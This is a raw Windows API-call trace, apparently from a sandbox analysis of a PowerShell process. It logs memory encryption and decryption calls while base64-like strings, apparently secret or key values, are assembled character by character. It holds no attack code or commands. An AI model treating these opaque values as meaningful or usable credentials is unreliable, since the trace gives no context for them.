(param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x8f84\xef7e\x2214\x956d\xcd7a\x1331\x6e39\xb841") returned 0x20 [0127.898] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x8f84\xef7e\x2214\x956d\xcd7a\x1331\x6e39\xb841") returned 0x20 [0127.898] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHP抮㕴") returned 0x20 [0127.898] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\xd274\x6a24\x3acb\x7638\x7586\xb196\x36d0\x10bf") returned 0x20 [0127.898] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\xd274\x6a24\x3acb\x7638\x7586\xb196\x36d0\x10bf") returned 0x20 [0127.898] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPj㕴") returned 0x20 [0127.898] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x837f\x4b38\x1bfd\x36b\x604b\xff5d\xd91f\x2784") returned 0x20 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x837f\x4b38\x1bfd\x36b\x604b\xff5d\xd91f\x2784") returned 0x20 [0127.899] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.899] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQ") returned 0x20 [0127.899] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d") returned 0x20 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d") returned 0x20 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d") returned 0x20 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x43\x57\x56\x54\x54\x2e\x70\x6e") returned 0x28 [0127.899] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.899] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQj侀룲툾帢匈壥㳛") returned 0x28 [0127.899] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xf2b6\x2fe9\x533c\xc39c\x463a\x9402\x4685\x7892") returned 0x28 [0127.899] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xf2b6\x2fe9\x533c\xc39c\x463a\x9402\x4685\x7892") returned 0x28 [0127.899] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.899] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjc룲툾帢匈壥㳛") returned 0x28 [0127.899] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x52e6\x35a8\x2d18\x68e4\xcc38\x61a2\x9364\x86ca") returned 0x28 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x52e6\x35a8\x2d18\x68e4\xcc38\x61a2\x9364\x86ca") returned 0x28 [0127.900] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ툾帢匈壥㳛") returned 0x28 [0127.900] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x60a8\x668b\x6267\xe4a9\x2b42\xba65\xc7c1\xc32c") returned 0x28 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x60a8\x668b\x6267\xe4a9\x2b42\xba65\xc7c1\xc32c") returned 0x28 [0127.900] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9帢匈壥㳛") returned 0x28 [0127.900] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x6b51\x7c55\x2480\x2479\xc371\x2b39\x4eab\xd554") returned 0x28 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\x6b51\x7c55\x2480\x2479\xc371\x2b39\x4eab\xd554") returned 0x28 [0127.900] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d匈壥㳛") returned 0x28 [0127.900] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xe4fd\x602f\xf626\x98d9\x2350\x44b4\x6ae4\xb329") returned 0x28 [0127.900] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xe4fd\x602f\xf626\x98d9\x2350\x44b4\x6ae4\xb329") returned 0x28 [0127.900] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.901] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6壥㳛") returned 0x28 [0127.901] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xbade\x410b\x280b\x24e7\xfbe1\xd193\x6a62\xcdc6") returned 0x28 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xbade\x410b\x280b\x24e7\xfbe1\xd193\x6a62\xcdc6") returned 0x28 [0127.901] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.901] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6Q㳛") returned 0x28 [0127.901] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xdd71\x73d3\xb597\x79e4\x741d\xe283\xe4f7\x7ca") returned 0x28 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xdd71\x73d3\xb597\x79e4\x741d\xe283\xe4f7\x7ca") returned 0x28 [0127.901] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.901] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6Qw") returned 0x28 [0127.901] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243") returned 0x28 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243") returned 0x28 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243") returned 0x28 [0127.901] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243") returned 0x30 [0127.901] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6Qw8墎ᝈ⋾䫮Ꜧ뎉犐") returned 0x30 [0127.902] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\xcb73\xe352\x95b2\xe762\xf8fa\x4001\xd174\xb52b") returned 0x30 [0127.902] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\xcb73\xe352\x95b2\xe762\xf8fa\x4001\xd174\xb52b") returned 0x30 [0127.902] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6Qw8lᝈ⋾䫮Ꜧ뎉犐") returned 0x30 [0127.902] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\xc16f\xf285\xdca1\xb3cd\x951d\x4447\x1141\x98e1") returned 0x30 [0127.902] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\xc16f\xf285\xdca1\xb3cd\x951d\x4447\x1141\x98e1") returned 0x30 [0127.902] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6Qw8lU⋾䫮Ꜧ뎉犐") returned 0x30 [0127.902] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\x43f2\xaba2\xa0af\x957b\x93a4\x17b1\xca9a\x7651") returned 0x30 [0127.902] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x6fd6\x524f\x6191\xcfb7\x6ccf\x4933\x4f8\xeb3d\xebb9\x58a4\x6400\x23f8\x8e2e\xb3b3\xf672\x4243\x43f2\xaba2\xa0af\x957b\x93a4\x17b1\xca9a\x7651") returned 0x30 [0127.902] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.902] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHPjQjcQ9d6Qw8lU=䫮Ꜧ뎉犐") returned 0x30 [0127.902] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0127.903] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.903] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.903] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.903] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.903] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.903] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.903] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.903] SysStringLen (param_1="") returned 0x8 [0127.903] SysStringLen (param_1="Y") returned 0x8 [0127.904] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.904] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.904] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="YW") returned 0x8 [0127.904] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.904] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.904] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="YWM") returned 0x8 [0127.904] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.904] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.904] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="YWM1") returned 0x8 [0127.904] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.904] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.904] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.904] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="YWM1O") returned 0x8 [0127.905] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.905] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.905] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.905] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.905] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.905] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.905] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.905] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.905] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.905] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.905] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.906] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.906] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.906] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.906] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.906] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.906] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0127.906] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.906] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.906] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.906] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.906] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.906] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 